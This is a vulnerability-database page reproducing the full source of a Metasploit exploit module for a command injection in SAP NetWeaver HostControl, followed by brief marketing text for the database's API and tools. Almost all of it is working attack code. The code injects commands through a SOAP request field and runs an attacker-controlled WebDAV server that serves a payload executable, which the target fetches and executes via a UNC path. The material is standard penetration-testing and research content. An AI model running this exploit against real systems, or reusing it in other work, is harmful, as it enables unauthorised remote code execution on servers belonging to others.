Lucene search
K

SAP NetWeaver HostControl - Command Injection (Metasploit)

🗓️ 31 Aug 2012 00:00:00Reported by MetasploitType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Exploits command injection vulnerability in SAP NetWeaver HostControl Service by crafting a specially SOAP request, leveraging WebDAV service for arbitrary payload execution

Code
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        	=> 'SAP NetWeaver HostControl Command Injection',
			'Description'   => %q{
					This module exploits a command injection vulnerability in the SAPHostControl
				Service, by sending a specially crafted SOAP request to the management console.

				In order to deal with the spaces and length limitations, a WebDAV service is
				created to run an arbitrary payload when accessed as a UNC path. Because of this,
				the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
				It is enabled and automatically started by default on Windows XP SP3, but disabled
				by default on Windows 2003 SP2.
			},
			'Author'      => [
				'Michael Jordon', # Vulnerability discovery and PoC
				'juan vazquez' # Metasploit module
			],
			'Platform'    => 'win',
			'References'  =>
				[
					[ 'OSVDB', '84821'],
					[ 'URL', 'http://www.contextis.com/research/blog/sap4/' ],
					[ 'URL', 'https://websmp130.sap-ag.de/sap/support/notes/1341333' ] # Authentication Required
				],
			'Targets'     =>
				[
					[ 'SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled', { } ],
				],
			'DefaultTarget'  => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Aug 14 2012'
		)
		register_options(
			[
				Opt::RPORT(1128),
				OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),
				OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),
			], self.class)
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		case request.method
			when 'OPTIONS'
				process_options(cli, request)
			when 'PROPFIND'
				process_propfind(cli, request)
			when 'GET'
				process_get(cli, request)
			else
				vprint_status("#{request.method} => 404 (#{request.uri})")
				resp = create_response(404, "Not Found")
				resp.body = ""
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
		end
	end

	def process_get(cli, request)

		if blacklisted_path?(request.uri)
			vprint_status("GET => 404 [BLACKLIST] (#{request.uri})")
			resp = create_response(404, "Not Found")
			resp.body = ""
			cli.send_response(resp)
			return
		end

		if (request.uri.include? @basename)
			print_status("GET => Payload")
			return if ((p = regenerate_payload(cli)) == nil)
			data = generate_payload_exe({ :code => p.encoded })
			send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
			return
		end

		# Treat index.html specially
		if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)
			vprint_status("GET => REDIRECT (#{request.uri})")
			resp = create_response(200, "OK")

			resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=#{@exploit_unc}#{@share_name}\\"></head><body></body></html>|

			resp['Content-Type'] = 'text/html'
			cli.send_response(resp)
			return
		end

		# Anything else is probably a request for a data file...
		vprint_status("GET => DATA (#{request.uri})")
		data = "HELLO!"
		send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
	end

	#
	# OPTIONS requests sent by the WebDav Mini-Redirector
	#
	def process_options(cli, request)
		vprint_status("OPTIONS #{request.uri}")
		headers = {
			'MS-Author-Via' => 'DAV',
			'DASL'          => '<DAV:sql>',
			'DAV'           => '1, 2',
			'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
			'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
			'Cache-Control' => 'private'
		}
		resp = create_response(207, "Multi-Status")
		headers.each_pair {|k,v| resp[k] = v }
		resp.body = ""
		resp['Content-Type'] = 'text/xml'
		cli.send_response(resp)
	end

	#
	# PROPFIND requests sent by the WebDav Mini-Redirector
	#
	def process_propfind(cli, request)
		path = request.uri
		vprint_status("PROPFIND #{path}")

		if path !~ /\/$/

			if blacklisted_path?(path)
				vprint_status "PROPFIND => 404 (#{path})"
				resp = create_response(404, "Not Found")
				resp.body = ""
				cli.send_response(resp)
				return
			end

			if path.index(".")
				vprint_status "PROPFIND => 207 File (#{path})"
				body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
				# send the response
				resp = create_response(207, "Multi-Status")
				resp.body = body
				resp['Content-Type'] = 'text/xml; charset="utf8"'
				cli.send_response(resp)
				return
			else
				vprint_status "PROPFIND => 301 (#{path})"
				resp = create_response(301, "Moved")
				resp["Location"] = path + "/"
				resp['Content-Type'] = 'text/html'
				cli.send_response(resp)
				return
			end
		end

		vprint_status "PROPFIND => 207 Directory (#{path})"
		body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
	<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
		<D:href>#{path}</D:href>
		<D:propstat>
			<D:prop>
				<lp1:resourcetype><D:collection/></lp1:resourcetype>
				<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
				<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
				<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
				<D:supportedlock>
					<D:lockentry>
						<D:lockscope><D:exclusive/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
					<D:lockentry>
						<D:lockscope><D:shared/></D:lockscope>
						<D:locktype><D:write/></D:locktype>
					</D:lockentry>
				</D:supportedlock>
				<D:lockdiscovery/>
				<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
			</D:prop>
		<D:status>HTTP/1.1 200 OK</D:status>
	</D:propstat>
</D:response>
|

		if request["Depth"].to_i > 0
			trail = path.split("/")
			trail.shift
			case trail.length
				when 0
					body << generate_shares(path)
				when 1
					body << generate_files(path)
			end
		else
			vprint_status "PROPFIND => 207 Top-Level Directory"
		end

		body << "</D:multistatus>"

		body.gsub!(/\t/, '')

		# send the response
		resp = create_response(207, "Multi-Status")
		resp.body = body
		resp['Content-Type'] = 'text/xml; charset="utf8"'
		cli.send_response(resp)
	end

	def generate_shares(path)
		share_name = @share_name
		%Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{share_name}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
	end

	def generate_files(path)
		trail = path.split("/")
		return "" if trail.length < 2

		base  = @basename
		exts  = @extensions.gsub(",", " ").split(/\s+/)
		files = ""
		exts.each do |ext|
			files << %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{base}.#{ext}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
<D:ishidden b:dt="boolean">1</D:ishidden>
</D:propstat>
</D:response>
|
		end

		files
	end

	def gen_timestamp(ttype=nil)
		::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
	end

	def gen_datestamp(ttype=nil)
		::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
	end

	# This method rejects requests that are known to break exploitation
	def blacklisted_path?(uri)
		share_path = "/#{@share_name}"
		payload_path = "#{share_path}/#{@basename}.exe"
		case uri
			when payload_path
				return false
			when share_path
				return false
			else
				return true
		end
	end

	def check

		@peer = "#{rhost}:#{rport}"

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
	<SOAP-ENV:Header>
		<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
			<enableSession>true</enableSession>
		</sapsess:Session>
	</SOAP-ENV:Header>
	<SOAP-ENV:Body>
		<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
			<aArguments>
				<item>
					<mKey>Database/Type</mKey>
					<mValue>ada</mValue>
				</item>
				<item>
					<mKey>Database/Password</mKey>
					<mValue>#{rand_text_alphanumeric(8)}</mValue>
				</item>
				<item>
					<mKey>Database/Username</mKey>
					<mValue>control</mValue>
				</item>
				<item>
					<mKey>Database/Name</mKey>
					<mValue>NSP \-o c:\\#{rand_text_alpha_lower(4)}.txt \-n #{rand_text_alpha_lower(8)}
!#{rand_text_alpha_lower(8)}
</mValue>
				</item>
			</aArguments>
		</ns1:GetDatabaseStatus>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
		eos

		print_status("#{@peer} - Testing command injection...")

		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction' => "\"\"",
			},
			'data'         => soap,
		}, 10)

		if (res and res.code == 500 and res.body =~ /Generic error/)
			return CheckCode::Appears
		else
			return CheckCode::Safe
		end

	end

	def exploit

		@basename = rand_text_alpha(3)
		@share_name = rand_text_alpha(3)
		@extensions = "exe"
		@system_commands_file = rand_text_alpha_lower(4)

		myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']

		@exploit_unc  = "\\\\#{myhost}\\"

		if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
			fail_with(Exploit::Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
		end

		vprint_status("Payload available at #{@exploit_unc}#{@share_name}\\#{@basename}.exe")


		@peer = "#{rhost}:#{rport}"

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
	<SOAP-ENV:Header>
		<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
			<enableSession>true</enableSession>
		</sapsess:Session>
	</SOAP-ENV:Header>
	<SOAP-ENV:Body>
		<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
			<aArguments>
				<item>
					<mKey>Database/Type</mKey>
					<mValue>ada</mValue>
				</item>
				<item>
					<mKey>Database/Password</mKey>
					<mValue>#{rand_text_alphanumeric(8)}</mValue>
				</item>
				<item>
					<mKey>Database/Username</mKey>
					<mValue>control</mValue>
				</item>
				<item>
					<mKey>Database/Name</mKey>
					<mValue>NSP \-o c:\\#{@system_commands_file}.txt \-n #{rand_text_alpha_lower(8)}
!#{@exploit_unc}#{@share_name}\\#{@basename}.exe
</mValue>
				</item>
			</aArguments>
		</ns1:GetDatabaseStatus>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
		eos

		print_status("#{@peer} - Injecting system commands...")

		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction'     => "\"\"",
			},
			'data'         => soap,
		}, 10)

		if (res and res.code == 500 and res.body =~ /Generic error/)
			print_good("#{@peer} - System command successfully injected")
		else
			print_error("#{@peer} - Failed to inject system command")
			return
		end

		soap = <<-eos
<?xml version="1.0" encoding="utf-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema">
	<SOAP-ENV:Header>
		<sapsess:Session xmlns:sapsess="http://www.sap.com/webas/630/soap/features/session/">
			<enableSession>true</enableSession>
		</sapsess:Session>
	</SOAP-ENV:Header>
	<SOAP-ENV:Body>
		<ns1:GetDatabaseStatus xmlns:ns1='urn:SAPHostControl'>
			<aArguments>
				<item>
					<mKey>Database/Type</mKey>
					<mValue>ada</mValue>
				</item>
				<item>
					<mKey>Database/Password</mKey>
					<mValue>#{rand_text_alphanumeric(8)}</mValue>
				</item>
				<item>
					<mKey>Database/Username</mKey>
					<mValue>control</mValue>
				</item>
				<item>
					<mKey>Database/Name</mKey>
					<mValue>NSP \-ic c:\\#{@system_commands_file}.txt</mValue>
				</item>
			</aArguments>
		</ns1:GetDatabaseStatus>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
		eos

		print_status("#{@peer} - Executing injected command")

		res = send_request_cgi({
			'uri'          => '/',
			'method'       => 'POST',
			'ctype'        => 'text/xml; charset=utf-8',
			'headers'	   => {
				'SOAPAction'     => "\"\"",
			},
			'data'         => soap,
		}, 1)

		if res
			print_error("#{@peer} - Failed to execute injected command")
			return
		end

		super
	end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation